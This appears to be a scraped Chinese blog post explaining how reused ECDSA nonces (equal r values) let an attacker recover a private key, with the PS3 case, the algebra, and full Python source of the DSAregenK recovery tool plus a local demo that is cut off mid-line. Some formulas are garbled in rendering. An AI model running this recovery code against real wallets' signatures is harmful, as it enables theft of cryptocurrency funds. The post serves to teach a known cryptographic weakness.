使用K值相同的ECDSA签名反推以太坊账户私钥

Posted Zero_Nothing

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了使用K值相同的ECDSA签名反推以太坊账户私钥相关的知识,希望对你有一定的参考价值。

一、背景

前段时间某项目遭遇黑客攻击, 官方公布是因为重复使用相同k值的ECDSA签名导致私钥被反推泄漏(这里k值相同就是签名结果的r值相同)。私钥能被反推?笔者赶快看了一下相关文章,在特定条件下的确可以反推,并且六年前就有人提出这个问题了,看来笔者是孤陋寡闻了。为了弄清楚这个流程,必须亲自验证一下,因此笔者先整理了一下网上的资料,然后就和其它人一起研究,在本地环境模拟了这个反推过程。

注:这里反推私钥的条件还是很苛刻的,平常我们使用时大可不必担心这个问题。

索尼 PS3 被破解

k值重复漏洞最早是发生在索尼的 PS3主机被破解事件。索尼 PS3最初的安全目标是使用椭圆曲线数字签名算法(ECDSA)来保护系统的安全, 然而索尼在使用椭圆曲线数字签名算法(ECDSA)进行签名处理时,使用了固定的k值。2010年的在fail0overflow大会上, 黑客组织fail0overflow展示了索尼ECDSA的部分代码,发现他们让种子的值保持4, 随后利用这个漏洞来反向推导获得了私钥从而实现了完全破解。

ECDSA 在区块链的广泛应用

因为比特币使用 ECDSA 签名算法,ECDSA加密区块链中被广泛使用,包括以太坊。 其中大多数区块链交易的签名算法就是使用ecdsa签名算法,因此了解一下这个K值重复漏洞还是有必要的。

二、漏洞分析

ECDSA签名具体怎么生成我们不必弄清楚,有兴趣的读者可以自行百度一下相关文章,我们会用就行了。

当生成ECDSA签名时,需要保证k值是保密且唯一, k值重复可能会导致私钥泄露。

使用重复的k时(消息需要不同), 可以反推出签名的私钥。 假定当前有两个不同消息的哈希散列值(z1, z2)和它们的签名(r1, s1) 和 (r2, s2)以及椭圆区的领域参数。

  • 首先注意到 r1 = r2, 因为 rk 值唯一确定的, 而k是相同的。

  • 然后计算
    ( s 1 − s 2 ) m o d    n = k − 1 ( z 1 − z 2 ) m o d    n (s_1 - s_2) \\mod n = k^{-1}(z_1 - z_2) \\mod n (s1s2)modn=k1(z1z2)modn

  • 等式两边乘以k, 得到
    k ( s 1 − s 2 ) m o d    = ( z 1 − z 2 ) m o d    n k(s_1 - s_2) \\mod = (z_1 - z2) \\mod n k(s1s2)mod=(z1z2)modn

  • 两边乘以 ( s 1 − s 2 ) − 1 (s_1 - s_2)^{-1} (s1s2)1,
    k = ( z 1 − z 2 ) ( s 1 − s 2 ) m o d    n k = (z_1 - z_2)(s_1 - s_2) \\mod n k=(z1z2)(s1s2)modn

利用上面的等式之用两个哈希值和对应的签名就可以计算k值。 现在用 s 的公式来提取私钥
s = k − 1 ( z + r d S ) m o d    n d S = r − 1 ( s k − z ) m o d    n s = k^{-1} (z + rd_S) \\mod n \\\\ d_S = r^{-1}(sk - z) \\mod n s=k1(z+rdS)modndS=r1(skz)modn

公式我也看得不是很明白,先不管它了。

三、使用Python进行反推验证

GitHub 已经有人开放了使用Python进行反推私钥的工具(4年前就放上去了), 可以利用这个工具来验证重复的k值是否可以反推账户私钥。不过该反推工具是针对的比特币账户,如果用到以太坊需要修改或者重新编写。

https://github.com/tintinweb/DSAregenK

DSAregenK 类的可用于反推, 将公钥在init时传入, 并将两个相同k值的签名相关的消息的哈希值, 签名的r和s值通过add函数添加进去, 然后后运行 run方法就可以得到私钥的值。

反推代码实现,需要在python2的环境下安装相应的库:pip install pycrypto

先创建一个 DSAregenK.py,内容如下:

'''
Created on 15.01.2013
@author: martin
'''
from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.PublicKey.pubkey import *
from Crypto.Hash import SHA
from Crypto.Util.number import bytes_to_long

import logging
LOG = logging.getLogger('DSAregenK')


class DSAregenK(object):
    def __init__(self,pubkey):
        self.samples = {}
        self.pubkey = pubkey
        LOG.debug("+ set: pubkey = %s"%pubkey)
    
    def add(self,signature,hash):
        '''
            sample is of format ( (r,s),hash(data), pubkey)
                       signature params,hashed_data
                       individual pubkey
        '''
        (r,s) = signature
        if not isinstance(hash,long):
            hash = bytes_to_long(hash)
        sample = bignum(r),bignum(s),bignum(hash)          #convert .digest()
        
        if not self.samples.has_key(r):
            self.samples[r]=[]
        
        
        self.samples[r].append(sample)
        #LOG.debug("+ added: sample = %s"%repr(sample))
    
    
    def run(self,asDSAobj=False):
        # find samples with equal r in signature
        for c in self._find_candidates():
            LOG.debug("[*] reconstructing PrivKey for Candidate r=%s"%c)
            (k,x) = self._attack(self.samples[c])
            if asDSAobj:
                yield self._construct_DSA((k,x))
            else:
                yield (k,x)
                
    def runBrute(self,asDSAobj=False,maxTries=None):
        for r,samples in self.samples.iteritems():
            LOG.debug("[*] bruteforcing PrivKey for r=%s"%r)
            for sample in samples:
                LOG.debug("[** - sample for r=%s]"%r)
                try:
                    (k,x) = self._brute_k(sample,maxTries=maxTries)
                    if asDSAobj:
                        yield self._construct_DSA((k,x))
                    else:
                        yield (k,x)
                except Exception, e:
                    logging.error(e.message)
                
    def _find_candidates(self):
        '''
            candidates have same r
        '''
        candidates = []
        for r, vals in self.samples.iteritems():
            if len(vals)>1: 
                candidates.append(r)
        return candidates
    
    
    def _attack(self,samples,q=None):
        '''
            samples = r,s,long(hash)
        '''
        q = q or self.pubkey.q
        
        rA,sA,hA = samples[0]
        
        k_h_diff = hA
        k_s_diff = sA
        
        first = True
        for r,s,hash in samples:
            if first:   
                first=False
                continue            #skip first one due to autofill
            k_h_diff -=hash
            k_s_diff -=s
        
        k = (k_h_diff)* inverse(k_s_diff,q) %q
        x = ((k*sA-hA)* inverse( rA,q) )% q

        LOG.debug("privkey reconstructed: k=%s; x=%s;"%(k,x))
        return k,x
    
    def _construct_DSA(self,privkey):
        k,x = privkey
        return DSA.construct([self.pubkey.y,
                              self.pubkey.g,
                              self.pubkey.p,
                              self.pubkey.q,
                              x])
        
    
    def _attack_single(self,hA,sigA,hB,sigB,q=None):
        q = q or self.pubkey.q
        rA,sA=sigA
        rB,sB=sigB
        k = (hA - hB)* inverse(sA -sB,q) %q
        x = ((k*sA-hA)* inverse( rA,q) )% q
        return k,x
    
    
    def _brute_k(self,sample,p=None,q=None,g=None,maxTries=None):
        '''
            sample = (r,s,h(m))
        '''
        # 1 < k < q
        p = p or self.pubkey.p
        q = q or self.pubkey.q
        g = g or self.pubkey.g
        
        r,s,h = sample
        
        k= 2
        while k< q-1:
            if maxTries and k >= maxTries+2:
                break
            # calc r = g^k mod p mod q
            if r == pow(g,k,p)%q: 
                x = ((k*s-h)* inverse( r,q) )% q
                return k,x
            k+=1        #next k
        raise Exception("Max tries reached! - %d/%d"%(k-2,maxTries))

            
if __name__=="__main__":
    import timeit
    code = '''
    q=1265463802023530275326394511026959111076549652869
    g=84281203019815261389723351787997895766686782784042902057749572710486802455287943930039236293081120645856643138985466753439864717645302485601757623822904847629009405411053311508933914054126213326746234712047394770958935994092610093437274339721778386724204641098513873421986583220412010274767817275626531483349
    k =155862235091383259018358242245666680486589863514
    p = 89884656743115801565356913078863255627534578994836271275156367742905551420240587387886756001391175742871349954773362607747817656666949585098232008455275447903314834915566557308039663748037501217455176261144977713143895613500344330528376806523498586766563054718557062834734452717511314328898484995977406013223
    
    r,s =  (808569543022789887955253071826070582321521360626L, 144740468085989213718785495673981993705197878815L)
    pow(g,k,p)%q
    '''
    trials = 2**15
    print trials," trials =>", timeit.timeit(code,number=trials),"s "

然后再创建一个Sample.py,内容如下:

from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA256

from DSAregenK import DSAregenK

def signMessage(private_key, msg, k=None):
    k = k or random.StrongRandom().randint(1, private_key.q-1)
    h = SHA256.new(msg).digest()
    r, s = private_key.sign(h, k)
    return msg, h, (r,s)


if __name__ == "__main__":
    secrect_key = DSA.generate(1024)
    print("generate private_key = ", hex(secrect_key.x))
    k = random.StrongRandom().randint(1, secrect_key.q - 1)
    mA = signMessage(secrect_key, "message 1", k)
    # same k value
    mB = signMessage(secrect_key, "message 2", k)

    # use different k value
    k = random.StrongRandom().randint(1, secrect_key.q - 1)
    mC = signMessage(secrect_key, "message 2", k)

    pub_key = secrect_key.publickey()

    print("=========================")
    print("start recoved same k value")

    # recover private key with the two digests that use same k value
    a = DSAregenK(pubkey=pub_key)
    for m, h, (r,s) in (mA, mB):
        a.add((r, s), h)
    rets = a.run(asDSAobj=True)
    print("##:  DSAregenK run get private key num: ", len(list(rets)))
    successed = False
    for re_privkey in a.run(asDSAobj=True):
        print("try recoveing:", hex(re_privkey.x))
        if re_privkey.x == secrect_key.x:
            successed = True
            print("recoved private_key = ", hex(re_privkey.x))
            break
        
    print("Is recovign private key correct with same k value: ", successed)


    print("=========================")
    print("start recoved different k value")
    # try recover private key with the two digests that use different k value
    a = DSAregenK(pubkey=pub_key)
    successed = False
    for m, h, (r,s) in (mA, mC):
        a.add((r, s), h)
    rets = a.ru

以上是关于使用K值相同的ECDSA签名反推以太坊账户私钥的主要内容,如果未能解决你的问题,请参考以下文章

轻松通关以太坊--初识以太坊

web3 的身份验证之以太坊签名消息

以太坊源码交易流程源码解读

以太坊 助记词提取 账户 公钥 私钥 最新实现可用。

以太坊

以太坊搭建私链(小问题1)——如何通过metamask获取账户的私钥